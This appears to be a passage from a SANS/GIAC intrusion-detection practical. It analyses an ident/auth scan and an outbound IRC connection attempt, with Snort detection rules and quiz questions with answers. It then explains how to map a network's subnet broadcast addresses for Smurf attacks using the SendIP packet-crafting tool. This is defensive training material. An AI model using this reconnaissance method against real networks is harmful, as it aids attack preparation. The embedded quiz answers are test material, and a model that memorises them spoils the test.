=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/17-14:04:20.300712 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.19:1122 TCP TTL:47 TOS:0x0 ID:58881 IpLen:20
DgmLen:44 DF
***A**S* Seq: 0x845C4A11 Ack: 0xF6ABDB33 Win: 0x4470 TcpLen: 24
TCP Options (1) => MSS: 1460
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/17-14:04:20.301139 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.19:1122 TCP TTL:47 TOS:0x0 ID:58888 IpLen:20
DgmLen:40 DF
***A*R** Seq: 0x845C4A12 Ack: 0xF6ABDB33 Win: 0x4470 TcpLen: 20
26
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/17-14:38:00.640553 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.17:1222 TCP TTL:47 TOS:0x0 ID:33009 IpLen:20
DgmLen:44 DF
***A**S* Seq: 0xC9147887 Ack: 0x862D048C Win: 0x4470 TcpLen: 24
TCP Options (1) => MSS: 1460
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/17-14:38:00.641473 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.17:1222 TCP TTL:47 TOS:0x0 ID:33024 IpLen:20
DgmLen:40 DF
***A*R** Seq: 0xC9147888 Ack: 0x862D048C Win: 0x4470 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/17-19:30:02.612168 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.135:1051 TCP TTL:47 TOS:0x0 ID:50598 IpLen:20
DgmLen:44 DF
***A**S* Seq: 0x58E90088 Ack: 0x662AB3FD Win: 0x4470 TcpLen: 24
TCP Options (1) => MSS: 1460
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/17-19:30:02.612661 0:2:FD:4B:5C:60 -> 8:0:20:C8:D5:FB type:0x800 len:0x3C
209.25.135.78:113 -> a.b.c.135:1051 TCP TTL:47 TOS:0x0 ID:50607 IpLen:20
DgmLen:40 DF
***A*R** Seq: 0x58E90089 Ack: 0x662AB3FD Win: 0x4470 TcpLen: 20
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Source of Trace:
This detect was obtained from the network I monitor at my present employer.
Detect Generated By:
The Gauntlet firewall detect was generated by a UNIX (Solaris 2.6) Gauntlet 5.5 firewall.
Snort did not alert on this attack, as I did not have a signature to match on packets with
the SA and RA flags set. The Snort box I had running in sniffer mode did capture the
packets, however. The following rule for Snort Version 1.7 will detect ident/auth scans
such as this one:
alert TCP $ EXTERNAL_NET 113 -> $HOME_NET :1024 (msg:
"Possible Ident/Auth Ack+ Scan"; flags: A+;)
Note that the only packet that was logged was the one bound for the internal interface of
the firewall.
Probability the Source Address was Spoofed:
This scan could be the result of a DOS attack on a third party, or a SYN-ACK and RSTACK scan of my network. If it was a DOS attack, the source IP is the intended
27
victim, and the attacker is intending we receive the responses from the client. If it was a
SYN-ACK and RST-ACK scan, the attacker will want to see the responses that their
stimulus packets initiated.
A third possibility is that the attacker has compromised the source IP’s host, and is
monitoring for responses using a sniffer. This means that they are launching the attack
from another location and spoofing their IP to be the source IP’s in the packets we
receive. While this is a slightly more involved attack than a scan from the source IP’s
host, it is possible that this is the case.
A whois and a traceroute on the source IP, 209.25.135.78, yielded the following (the first
three hops have been sanitized):
Server used for this query: [ whois.arin.net ]
Maxim (NETBLK-MAXIM-NETBLK-3)
42712 Lawrence Place
Fremont, CA 94538
US
Netname: MAXIM-NETBLK-3
Netblock: 209.25.128.0 - 209.25.255.255
Inet King Internet Service, Inc (NETBLK-MAX-CUSTNET-449)
288 Blackcreek Drive
Copperopolis, CA 95228
US
Netname: MAX-CUSTNET-449
Netblock: 209.25.135.0 - 209.25.135.255
1 a.b.c.1 (a.b.c.1) 1.075 ms 1.008 ms 1.016 ms
2 a.b.d.5 (a.b.d.5) 4.170 ms 4.711 ms 4.585 ms
3 router.mycompany.com (w.x.y.z) 5.535 ms 5.214 ms 5.438 ms
4 s4-0-1.crtntx1-cr1.bbnplanet.net (4.24.104.49) 7.185 ms 6.508 ms 6.589 ms
5 s8-0-0.xcrtntx15-abovenet.bbnplanet.net (4.24.104.22) 7.742 ms 8.130 ms 7.760 ms
6 core1-dfw1-oc48.dfw2.above.net (208.184.232.118) 8.231 ms 8.123 ms8.145 ms
7 dca2-dfw2-oc48.dca2.above.net (216.200.127.206) 36.175 ms 36.496ms 36.938 ms
8 sjc2-dca2-oc48.sjc2.above.net (208.184.233.133) 102.038 ms 102.235ms 102.021 ms
9 core1-core4-oc48.sjc2.above.net (208.184.102.201) 101.946 ms103.481 ms 101.891 ms
10 core6-sjc2-oc48.sjc1.above.net (216.200.0.177) 102.050 ms 102.056ms 102.507 ms
11 sjc7-sjc1-ds3.sjc7.above.net (207.126.96.194) 103.291 ms 105.189ms 102.776 ms
12 208.185.237.74.maxim.net (208.185.237.74) 104.080 ms 102.965 ms106.007 ms
13 atm2-0.Fmt-1.hostcentric.com (209.25.128.9) 79.506 ms 79.290 ms79.851 ms
14 VLAN6.FMT6509-1.hostcentric.com (66.40.24.70) 81.173 ms 79.516 ms80.950 ms
15 * * *
…
30 * * *
Note that the domain name in the 12th hop and the IP in the 13th hop belong to IP blocks
owned by Maxim.net. The IP in the 14th hops also belongs to Maxim, as shown in the
following whois query output:
28
Maxim (NETBLK-MAXIM-4)
42712 Lawrence Place
Fremont, CA 94538
US
Netname: MAXIM-4
Netblock: 66.40.0.0 - 66.40.255.255
If we assume the TTL has not been crafted, this would mean that the attacker was most
likely using a Linux or FreeBSD box that uses a default TTL of 64 (I’m ruling out VMS,
HP-UX and OS/2, which are known to use TTL’s of 64). Subtracting 14 from 64 we get
50, and assuming the attacker’s ISP is blocking traceroute at some point in their network,
we arrive very close to the TTL value of 47 in the packets received from the source IP.
Thus, it appears that the packets arrived from an ISP that is leasing a class C network
from the ISP/Collocation company Maxim (http://www.maxim.net), a subsidiary of
Hostcentric.
Therefore, the probability the source IP was spoofed is small.
Description of the Attack:
Unexpected RST-ACK or SYN-ACK packets are indicative of your IP being used in a
spoofing attack. So, either the attacker really is launching the attack from the source IP in
the trace against my network, or they are attacking the source IP’s network from an
unknown network and are spoofing their source IP to be my network’s.
The latter case could be an indication of a TCP SYN DoS against ident, with the RSTACK packets also contributing to tying up bandwidth. However, the DoS attack would
need to be distributed to be effective. If it was a case of reverse ident scanning, where the
attacker queries the ident port from an ephemeral port for connection information, the
attacker will not receive the responses unless they are monitoring the local network that
they are attacking. In addition, you would expect to see packets from many different
hosts as the attacker queries different machines looking for one that will respond to a
reverse ident scan.
The RST-ACK and SYN-ACK packets arrived over a 30-hour period, with a delay
between the time each host in the network received a stimulus. Therefore, the attacker
was most likely attempting to covertly map the network by sending crafted SYN-ACK
and RST-ACK packets.
The CVE entry CAN-1999-0629 is under review for having ident/identd service running.
The entry is located here:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0629.
Attack Mechanism:
If the destination host exists, the host will send a RST packet in response to the SYNACK, and the RST-ACK packet will be silently dropped. If the destination host does not
29
exist, the SYN-ACK and RST-ACK elicit an ICMP destination unreachable message
from an intermediate router, assuming a stateful firewall has not intercepted and absorbed
the packets. In either case, the attacker will succeed in mapping the existence of the host
on the target network.
The third scenario is that the site has a stateful firewall that absorbs all the packets from
the attacker, as was this case with this scan. The attacker does not gain any
reconnaissance information in this case, unless they have previously determined that the
victim host exists. In this case, they may be able to deduce that the site has a stateful
firewall in place and the packets have been silently dropped.
The attacker seems to be betting on the victim not using a stateful firewall and hoping
that one of the packets elicits a response, and performs the scan over a period of 30 hours
to try and remain stealthy. In addition, the attacker could be setting the source port to
TCP 113 to make the packets appear to be responses from identd about connections
initiated from an internal client to the attacker. Since an IDS like Realsecure 5.5 only
identifies this as “IDENT” traffic, and does not display the flags set in the packet, this
scan could easily go unnoticed or be disregarded.
Correlations:
The following paper authored by CanCert (Canadian CERT) has identified traffic very
similar to the scan addressed in this trace:
http://www.cancert.ca/Docs/AL-2000.01Preliminary5Jan99.pdf
In particular, the paper identifies the following traces shown below. While the SYN-ACK
scan used the IRC source port 6667, the paper identifies traffic as also originating from
port 113 with these flags as well.
SYN + ACK Probe
===============
209.249.31.17.6667 > 192.168.0.1.1409: S 653661151:653661151(0) ack
674711610 win 16384 (DF)
RST + ACK Probe
===============
209.10.135.130.113 > 192.168.0.2.1264: R 0:0(0) ack 674711610 win 0
Note that the ACK number in these two packets was fixed, which was not the case in the
scan of my network. According to the paper by NSWC referenced in CanCERT’s paper,
http://www.nswc.navy.mil/ISSEC/CID/co-ordinated_analysis.txt, recent RST-ACK scans
have contained random sequence numbers.
A search of the SANS CID yielded reports of activity from this attacker dating 6/17/01
through 6/18/01. URL: http://www.incidents.org/cid/search.php. Search parameters:
Source IP = 209.25.135.78, source port = 113, target port = 1024-65535, and
protocol = 6 (TCP). Note these correlations did not contain any flag information. Perhaps
the contributor was not using an IDS that captured the flag information in its output,
30
such as ISS Realsecure 5.5. I confirmed that my ISS sensor did not capture the flag
information from this scan.
Evidence of Active Targeting:
Given the period of time over which the scan was conducted and the deliberate nature of
the scan, there is definite evidence of active targeting against my network.
Severity:
Criticality – Since the scan attempted to connect multiple boxes in my subnet, including
the firewall, the criticality of this attack is high. Criticality = 5.
Lethality – The attacker could have gained valuable reconnaissance information had the
scan been successful. However, the scan could have at most mapped the existence of
machines in the subnet. While not a good thing, existence mapping is not particularly
lethal in and of itself. Lethality = 3.
System Countermeasures – The firewall did not respond to the SYN-ACK or RST-ACK
packets. Had the other hosts received these packets they would have responded with a
RST to the SYN-ACK and silently dropped the RST-ACK. However, there is little
defense on a host level besides a host-based firewall or host ACL’s like Solaris 8
supports. System Countermeasures = 4.
Network Countermeasures – A properly configured network firewall, and host based
firewalls on selected machines in the unprotected DMZ, mitigated the risk of this attack.
The border router passes traffic to the proxy firewall, so no ICMP destination
unreachable packets were returned from the internal network. Network Countermeasures
= 5.
(Criticality + Lethality) –
(System Countermeasures + Network Countermeasures) = Severity
(5 + 3) – (4 + 5) = -1
Defensive Recommendation:
The only recommendation is to add the following rule to the Snort box running in NIDS
mode.
alert TCP $ EXTERNAL_NET 113 -> $HOME_NET :1024 (msg:
"Possible Ident Ack+ Scan"; flags: A+;)
Multiple Choice Test Question:
Reverse ident scanning is best identified by the following source and destination port
31
pairs:
a)
b)
c)
d)
TCP 113, TCP 113
TCP 1024 to 65535, TCP 113
UDP 113, UDP 113
TCP 113, TCP 1024 to 65535
Answer: The correct answer is (b). Reverse ident scanning is when the attacker queries
the identd deamon on a server for information about the connection between the server
and the attacking host, normally from an ephemeral source port.
Detect #5 – Outbound IRC Connection Attempt
Gauntlet Firewall Logs:
Apr 5 15:47:00 firewall.mycompany.com unix: securityalert: tcp if=qfe0 from
a.b.c.216:4288 to 194.149.245.6 on unserved port 6667
Apr 5 15:47:07 firewall.mycompany.com unix: securityalert: tcp if=qfe0 from
a.b.c.216:4289 to 194.149.245.6 on unserved port 6667
Apr 5 15:47:13 firewall.mycompany.com unix: securityalert: tcp if=qfe0 from
a.b.c.216:4290 to 194.149.245.6 on unserved port 6667
Apr 5 15:47:14 firewall.mycompany.com unix: securityalert: tcp if=qfe0 from
a.b.c.216:4290 to 194.149.245.6 on unserved port 6667
...
Apr 5 16:33:26 firewall.mycompany.com unix: securityalert: tcp if=qfe0 from
a.b.c.216:4872 to 194.149.245.6 on unserved port 6667
Snort Logs:
No Snort logs were collected for this outbound connection attempt.
Source of Trace:
This detect was obtained from the network I monitor at my present employer.
Detect Generated By:
The Gauntlet firewall detect was generated by a UNIX (Solaris 2.6) Gauntlet 5.5 firewall.
The following Snort signature would have identified the attack:
alert TCP $ HOME_NET any -> $EXTERNAL_NET 6667 (msg:
"Outbound IRC Connection Attempt";)
Probability the Source Address was Spoofed:
32
Given that this scan was initiated on the internal network, the probability the packets
were spoofed is very low. The system owner was contacted and it was confirmed they
were working on the machine the date the scan occurred.
Description of the Attack:
This connection attempt to port 6667 TCP, the default IRC server port, occurred on the
internal network from a specific host over a period of approximately 46 minutes. Notice
the interface the packets were detected on was the qfe0 interface. This interface is most
often associated with a Solaris box with multiple interface ports, where the hme0
interface is the interface that listens for inbound connections and the qfe* interfaces are
internal interfaces used for outbound connections.
Trojans will often infect a host and then attempt to connect to an IRC server to announce
their presence. One possibility is that this was the PrettyPark.exe worm. However, this
did not appear to be the case. After pulling the network connection and contacting the
Program Security Officer, I was directed to install Tiny Personal Firewall and configure it
to block outbound connections to port 6667 and turn on logging. I was then directed to
monitor the box for further connection attempts before rebuilding the machine. A full
virus scan was also run on the box with signatures that are updated weekly, and no
infected files were found. Also, outbound mail messages occurring approximately every
30 seconds were NOT observed, nor were any further outbound IRC connection attempts.
Another possibility might be a variant of the exploit referenced in the following post by
Para-Protect:
http://www.para-protect.com/Advisories/Guests/2001/20010108.0900_ORA1.pdf.
This paper identifies potential exploit code used in DDoS attacks that produces a
signature similar to the one observed in the firewall logs above. According to ParaProtect [10]:
“The source port is between 4000 and 5000, and the destination port is always 6667 (the
default port for IRC servers). An example of code of the type that may have been used to
accomplish this attack is posted at http://packetstorm.securify.com/distributed/knight.c.
An example of code of the type that may have been used to accomplish this attack is
posted at (it is undetermined whether this code was actually used in the attack).”
While the source and destination ports of the connection attempt match the description of
this exploit, an inspection of the source code reveals that this code attempts to read to the
rc.local file:
FILE *file=fopen("/etc/rc.d/rc.local","r");
Note that the file /etc/rc.d/rc.local is a linux init script that runs after all other
init scripts. Its intended purpose is to output information to the screen. In this exploit
33
code, the attacker is appending their code to the end of the rc.local file, which is owned
by root and is executable.
However, the host that generated this traffic was an NT 4.0 box. The binary will not run
on a Windows machine if compiled from the source code referenced in the URL above.
However, an attacker could have ported this code to Windows and created a statically
linked binary that contained the necessary libraries to run independently.
Upon further investigation, it does not appear this was the Trinity or WinSatan Trojan.
WinSatan was written in 16-bit code and supposedly does not run on NT, and Trinity is a
Linux Trojan. The ScheduleAgent Trojan apparently works on Windows systems, but
very little information was found.
Attack Mechanism:
Since the system owner used the Microsoft IE browser exclusively, the source of this
connection attempt was believed to have been either a Java or ActiveX Trojan executed
within the internal network. The actual cause of this connection attempt, other than the
user not intentionally initiating this connection attempt, was not determined.
Whatever the infectous agent was, it tried to connect to the IP 194.149.245.6. A whois
query on this IP shows the following:
Server used for this query: [ whois.ripe.net ]
inetnum:
194.149.245.0 - 194.149.245.255
netname:
TELEACTION-SERVICES-OBERURSEL
descr:
Teleaction Services GmbH, Oberursel
country:
DE
admin-c:
HH1239-RIPE
tech-c:
MS10091-RIPE
status:
ASSIGNED PI
mnt-by:
RIPE-NCC-HM-PI-MNT
mnt-by:
XLINK-MNT
mnt-lower: XLINK-MNT
changed: [email protected] 20000707
changed: [email protected] 20000707
changed: [email protected] 20000913
source:
RIPE
Performing a nslookup on the IP 194.149.245.6 results in the following URL:
http://www.teresa.de. This site appears to be a German IRC server catering to material of
an “adult nature”. Had the firewall not blocked the connection, the infectious agent could
have contacted the IRC server with user and password information from the victim host.
Correlations:
34
No correlations on SANS GIAC, CID, or Google was found for the destination IP
194.149.245.6.
Evidence of Active Targeting:
This network trace occurred on a single machine within a class C subnet, and was
targeted at a single destination host.
Severity:
Criticality – Since the infectious agent attempted to connect from the internal network on
a development workstation to a German IRC server of questionable content, the
criticality of this scan is high. Criticality = 4.
Lethality – The attacker could have gained valuable machine and password information
had the connection attempt been successful. Lethality = 5.
System Countermeasures – The workstation in question was patched with Service Pack 6
and had updated McAfee virus scanning software installed. System Countermeasures = 4.
Network Countermeasures – The network firewall blocked the outbound connection
attempt. System Countermeasures = 4.
(Criticality + Lethality) –
(System Countermeasures + Network Countermeasures) = Severity
(4 + 5) – (4 + 4) = 1
Defensive Recommendation:
Personal firewalls should be added to all NT 4.0 workstations. Multiple license packs are
available from most vendors for a reasonable price. A short training session for users is
also recommended upon installation of the software. In addition, the following Snort rule
should be added to the Snort box running in NIDS mode:
alert TCP $ HOME_NET any -> $EXTERNAL_NET 6667 (msg:
"Outbound IRC Connection Attempt";)
Users, as well as system and security administrators, should become more familiar with
IRC and it’s inherent dangers. The following paper should be recommended reading:
http://www.sans.org/infosecFAQ/threats/IRC.htm.
Finally, disable ActiveX, Java and Javascript in Microsoft IE browsers, and Java and
Javascript in Netscape browsers.
Multiple Choice Test Question:
35
Which of the following UNIX/Solaris Gauntlet firewall logs is most indicative of an
internal host infected with a trojan, virus or worm that is attempting to contact an IRC
server on the Internet?
a) Apr 5 15:47:00 firewall.mycompany.com unix:
securityalert: tcp if=hme0 from 192.168.1.1:4288 to
192.168.1.40 on unserved port 666
b) Apr 5 15:47:00 firewall.mycompany.com unix:
securityalert: tcp if=hme0 from 192.168.1.1:4288 to
192.168.1.40 on unserved port 6667
c) Apr 5 15:47:00 firewall.mycompany.com unix:
securityalert: tcp if=qfe0 from 192.168.1.1:4288 to
192.168.1.40 on unserved port 6667
d) Apr 5 15:47:00 firewall.mycompany.com unix:
securityalert: tcp if=qfe0 from 192.168.1.1:4288 to
192.168.1.40 on unserved port 666
Answer: The correct answer is (c). The default IRC sever port is 6667, and an internal
host will attempt to exit the network over an internal interface on the firewall (in this
case, the qfe0 interface).
36
Assignment 2 – Describe the State of Intrusion Detection
Netmask-based ICMP Echo Request Smurf Broadcast Scanning with Crafted ICMP
Payloads using SendIP
This paper will address the specific reconnaissance technique coined “Netmask-based ICMP
Echo Request Smurf Host and Broadcast Scan with Crafted ICMP Payloads” using the tool
SendIP.
Reconnaissance Technique:
Name: Netmask-based ICMP Echo Request Smurf Broadcast Scan with Crafted ICMP
Payloads
Variants: Broadcast scans to IP addresses with a fourth octet of 0 or 255 are a
generalization of this attack. This attack may also be launched without crafting the ICMP
payload.
Operating System: Any OS that responds to ICMP echo requests sent to a broadcast
address.
Protocols/Services: IP, ICMP, IP Subnetting, and IP Broadcasting
Description: This reconnaissance technique attempts to map a variably subnetted
network's broadcast addresses for later possible use in Smurf attack. What is unique to
this attack is that the ICMP payload has been crafted to contain only the broadcast IP
addresses. A packet is also sent to the network address of the subnets that are being
mapped since BSD-based stacks treat the network address as a broadcast address.
Exploit Details:
Name: SendIP (Version 1.5)
Variants: Broadscan, SING, Hping, Hping2, and Nmap are just a few of the tools that
can also perform Smurf broadcast scanning.
Operating System: The exploit code was tested using Mandrake Linux 7.1. However, it
should run on all Linux and UNIX systems.
Protocols/Services: ICMP
Description: According to the author, Mike Ricketts, "SendIP has a large number of
command line options to specify the content of every header of a RIP, TCP, UDP, ICMP
or raw IPv4 and IPv6 packet. It also allows any data to be added to the packet.
Checksums can be calculated automatically, but if you wish to send out wrong
checksums, that is supported too." [11].
Protocol Description:
IP - Internet Protocol
IP is the transport mechanism for all TCP, UDP, IGMP, and ICMP messages. That is,
TCP, UDP, IGMP, and ICMP messages are encapsulated in packets called IP datagrams
that begin with a 20-byte standard header. If any IP options are present, the IP header
37
may be as large as 60 bytes. Also, note that IP is a connectionless, unreliable protocol
that relies on best effort service instead of stateful awareness of successive IP datagrams.
The IP header is shown in Figure 3 below:
The 4-bit version field refers to the version of IP. The current and most used version is
version 4, referred to as IPv4. The 4-bit header length is the number of 32 bit words in the
IP header, including any IP options. The 8-bit type of service, or TOS, field is composed
of three separate parts: the top 3-bits is a precedence value that is not currently used in
current versions of IP, a 4-bit TOS value, and an unused bit that must be set to 0. The 4bit TOS value is set to 0 when normal service is implied, and is what is most often seen in
IP datagrams today. The total length is the total length of the IP datagram in bytes. To
derive the length of the data portion of the IP datagram, subtract the header length field
from the total length field.
The 16-bit identification number is used to uniquely identify each datagram that is sent,
and typically increments by one for each packet sent. The 3-bit flags field is used to
identify if the packet is fragmented and there are more fragments to follow, or to tell IP
not to fragment the datagram. The 13-bit fragment offset is used to repackage the packet
stream at the destination host by keeping track of how far the fragment is located in
creation order from the original datagram. The 8-bit time-to-live (TTL) value sets an
upper bound on the number of hops, or routers, through which the datagram may travel
before its lifetime expires. The TTL decrements by one for each hop it makes, and is
initialized by the sending hosts' operating system.
The 8-bit protocol field is used to identify the protocol that is encapsulated in the IP
datagram. The 16-bit checksum field only addresses the IP header, not the IP data
38
payload. The checksum is used to identify datagrams that were corrupted in transit. If so,
the packets are discarded. The 32-bit source and destination address fields store the IP
address of the sending and receiving hosts. The IP options field is rarely used, but does
support options such as strict and loose source routing and security restrictions. Finally,
IP encapsulates the data payload, such as an ICMP echo request message.
ICMP - Internet Control Message Protocol
ICMP is an integral part of the IP layer that acts like a higher level protocol such as TCP
or UDP, and was designed for use as a network diagnostic tool. ICMP messages are sent
in some of the following situations [1]:
1. When a datagram cannot reach its destination.
2. When the gateway does not have the buffering capacity to forward a datagram.
3. When the gateway can direct the host to send traffic on a shorter network route.
ICMP messages are sent inside a IP datagram using the standard IP header. Figure 4 is a
diagram of a 20-byte IP datagram without options and an ICMP message:
ICMP echo request and echo replies are used to test if a host is reachable across a
network. Historically, an echo request message is sent, and if the destination host is
reachable, an echo reply message is returned. However, with the widespread use of
protocol aware firewalls and router ACL's, this is no longer true. A host may refuse an
ICMP echo request, but will accept a telnet connection to port 25 (SMTP) [2].
Figure 5, shown below, depicts the standard ICMP echo or echo reply message format:

As defined by RFC 792, http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc0792.html
39
The first 8 bits of the ICMP echo and echo reply message is the type field, which defines
the format of the remaining message. A type value of zero indicates the ICMP message is
an echo reply, and an eight indicates an echo request. The next eight bit field is the code
field, and is zero for both echo requests and replies. This field has numerous values in
other ICMP types, such as type 3 (destination unreachable messages). The remaining 16
bits of the first four bytes is the checksum field. According to RFC 792, "The checksum is
the 16-bit one's complement of the one's complement sum of the ICMP message starting
with the ICMP type" [1].
The 16 bit identifier and sequence number fields are used to identify echos and replies
when the code field is zero. Note that these fields may be set to zero. The identifier field
is set to the PID (process ID) of the sending process in UNIX versions of Ping. The
sequence number field is set to zero and increments by one for each ICMP echo request
packet that is sent. The ICMP message payload is included next in the datagram, if it
exists. Also, note that the payload data (as well as the identifier and sequence number)
must be returned in the echo reply message. This requirement is what makes the
"Netmask-based ICMP Echo Request Smurf Broadcast Scan with Crafted ICMP
Payloads" reconnaissance technique unique.
IP Subnetting
IP subnetting is used to partition a network into smaller sub-networks, or subnets. This is
done by bit-masking the network IP address with a subnet mask. The subnet mask
consists of a netid, subnetid and hostid portion. The first portion of the subnet mask
determines the size of the netid and subnetid, and the remainder is the hostid. For
example, the mask 255.255.255.224 has 24-bit netid, a 3-bit subnetid (the first 3 bits of
the last octet), and a 5-bit hostid.
For example, the class C network 192.168.1.0 can be partitioned into two subnets using
the subnet mask 255.255.255.128. By doing so, two new networks are created;
192.168.1.0/255.255.255.128 and 192.168.1.128/255.255.255.128. Note that each subnet
will have a network address, a broadcast address, and a number of host addresses. Using
our variably subnetted network example above, we get the following:
Subnet 1: 192.168.1.0/255.255.255.128
Hosts: 192.168.1.1 - 192.168.1.126
Broadcast Address: 192.168.1.127
40
Subnet 2: 192.168.1.128/255.255.255.128
Hosts: 192.168.1.129 - 192.168.1.254
Broadcast Address: 192.168.1.255
Finally, note that subnet masks may be expressed using an abbreviated notation known as
CIDR (Classless Inter-Domain Routing). This notation is derived by adding up the
number of 1’s in the subnet mask’s bitmask notation. For example, consider the network
192.168.1.0/255.255.255.128. The subnet mask 255.255.255.128 has a bitwise
representation of 11111111 11111111 11111111 10000000. This string has
twenty-five consecutive 1’s, so the network and subnet mask can be expressed using the
notation 192.168.1.0/25.
IP Broadcasting
Broadcasting is used to distribute a single datagram to every host on the network or
subnet. To accomplish this, a broadcast address exists such that when a packet is received
at this address, it is forwarded to every host on that subnet or network depending on
which type of broadcast was sent. There are four different types of IP broadcast addresses
[2]:
Limited Broadcast Address:
The address 255.255.255.255 is known as the limited broadcast address. This address is
never forwarded by routers, and appears only on the local wire.
All Subnets Directed Broadcast Address:
This broadcast relies on knowledge of the destination host's subnet mask. For instance,
the class B subnet 192.168.255.0/24 has a broadcast address of 192.168.255.255,
assuming the IP block 192.168.0.0 has been subnetted. In addition, BSD stacks will also
treat the network address as a broadcast address.
Subnet Directed Broadcast Address:
This broadcast also relies on knowledge of the destination hosts’ subnet mask. This
broadcast targets a specific subnet. For instance, the class C subnet 192.168.1.0/27 has a
broadcast address of 192.168.1.31.
Network Directed Broadcast:
This broadcast address addresses a whole network. For example, the class A network
192.0.0.0 has a broadcast address of 192.255.255.255.
How the Reconnaissance Technique Works:
41
What differentiates the “Netmask-based ICMP Echo Request Smurf Broadcast Scan with
Crafted ICMP Payloads” reconnaissance technique from a general Smurf scan is the
crafted payload. The attacker uses a tool, such as SendIP, to modify the ICMP payload to
contain the broadcast IP address. The rationale behind this is that the echo reply packet
must return the payload data sent in the echo request packet, and therefore the attacker
will know which broadcast address corresponds to the responding machine. The attacker
also sends an echo request packet to the network address of the suspected subnet. This
aids the attacker in correctly identifying the subnet mask used to variably subnet the
network.
To fully illustrate this attack, we will use a partial variably subnetted class C address
block as an example. Many times networks are subnetted in this fashion to dole out
various sized subnets to different groups within an organization.
Class C IP Block: 192.168.1.0 - 192.168.1.255
Subnet 1: 192.168.1.0/28
Hosts: 192.168.1.1 - 192.168.1.14
Broadcast Address: 192.168.1.15
Subnet 2: 192.168.1.16/28
Hosts: 192.168.1.17 - 192.168.1.30
Broadcast Address: 192.168.1.31
Subnet 3: 192.168.1.32/27
Hosts: 192.168.1.33 -192.168.1.62
Broadcast Address: 192.168.1.255.63
Subnet 4: 192.168.1.64/26
Hosts: 192.168.1.65 - 192.168.1.126
Broadcast Address: 192.168.1.255.127
Subnet 5: 192.168.1.128/29
Hosts: 192.168.1.129 - 192.168.1.134
Broadcast Address: 192.168.1.135
The attacker must decide how to scan the target network. Most often, they will target the
subnets that are most commonly created. For example, these might include subnets with a
last octet that is a multiple of 64 less 1 (since networks use zero-based counting), and
thus have broadcast addresses of 192.168.1.63, 192.168.1.191 and 192.168.1.255. The
attacker may also send an echo request to the network address of each of subnet, which
also acts as a broadcast address on BSD-based stacks. These addresses would include
192.168.1.0, 192.168.1.128 and 192.168.1.192.
However, there are many different ways to variably subnet a class C network. To account
for this, and minimize the number of broadcast scans needed to map the network, the
42
attacker sends echo requests to the broadcast and network addresses that they suspect
might exist. To identify the networks that exist from those that do not, the attacker
inspects the ICMP payload of the echo reply packets (assuming echo replies are received
from the victim).
For example, suppose the attacker sent crafted ICMP echo requests to the following
addresses: 192.168.1.0, 192.168.1.15, 192.168.1.40, and 192.168.1.47. The attacker is
guessing we have a subnet with a network address of 192.168.1.0, a broadcast address of
192.168.1.15, and a subnet mask of 255.255.255.240. They are also guessing we have a
subnet with a network address of 192.168.1.40, a broadcast address of 192.168.1.47, and
a subnet mask of 255.255.255.248. Since the class C network described above does not
have a 192.168.1.40 network, but does have a 192.168.1.0 network, they will be able to
determine which of the two networks exist and if we are using machines that have a
BSD-based stack. In addition, the attacker will know if they guessed the broadcast
address correctly, and thus can deduce the subnet mask being used for that network. They
accomplish this by inspecting the payload of the echo reply packets for the broadcast IP
address that was hardcoded by the SendIP tool.
More specifically, if the attacker receives ICMP echo replies with payloads containing
the IP addresses 192.168.1.0 and 192.168.1.15, they can deduce that the network
192.168.1.0 exists and uses a subnet mask of 255.255.255.240.
This technique allows the attacker to maximize the network topology information
returned from a single scan, and yet remain somewhat covert among all the other ICMP
echo requests an organization might receive.
How the Malicious Program Works:
SendIP works by taking command line arguments and building the desired packet based
on the arguments. If an argument is not supplied, a default value is used. For instance,
when crafting an ICMP echo request packet, if a value for the IP ID is not passed as
an argument on the command line, the default value is set using a random value. If for
any option the argument “r” is supplied, a random value is used. Also, the tool sets the
ICMP ID and sequence number to 0.
To craft the ICMP payload, the attacker must pad the payload string with the appropriate
amount of bytes to get past the ICMP header fields and into the ICMP payload. This is
because the tool copies the payload string on the command line into the ICMP message
data structure, and then overwrites the ICMP header fields with either the command line
supplied arguments or the default values. If the attacker does not pad the payload string
with the appropriate amount of fill, the corresponding amount of bytes from the payload
will be truncated.
Diagram of the Attack:
The following diagram is just one representation of a network that is vulnerable to this
43
attack.
How to Perform Netmask-based ICMP Echo Request Smurf Broadcast Scanning With
Crafted ICMP Payloads Using SendIP:
SendIP gives the user the option of crafting a TCP, UDP, RIP, or ICMP packet. The tool
also has a man page that is bundled with the tar ball and rpm package. The SendIP
command line format and options as defined in the man page are as follows:
./sendip <hostname> -p <type> –d <data> <options>
Where:
<hostname> is the name of the host the packet is being sent to. If an argument
is not supplied, the packet is sent to the localhost, 127.0.0.1.
<type> is the packet type. The default type is IP, but can be set to TCP, UDP or
ICMP. RIP packets are transmitted via UDP, so all UDP options apply.
<data> is the packet payload in hex. If an argument is not supplied, the default
is 10 bytes of 0’s. The “-d” flag must be used for passing payload data to the
SendIP binary on the command line.
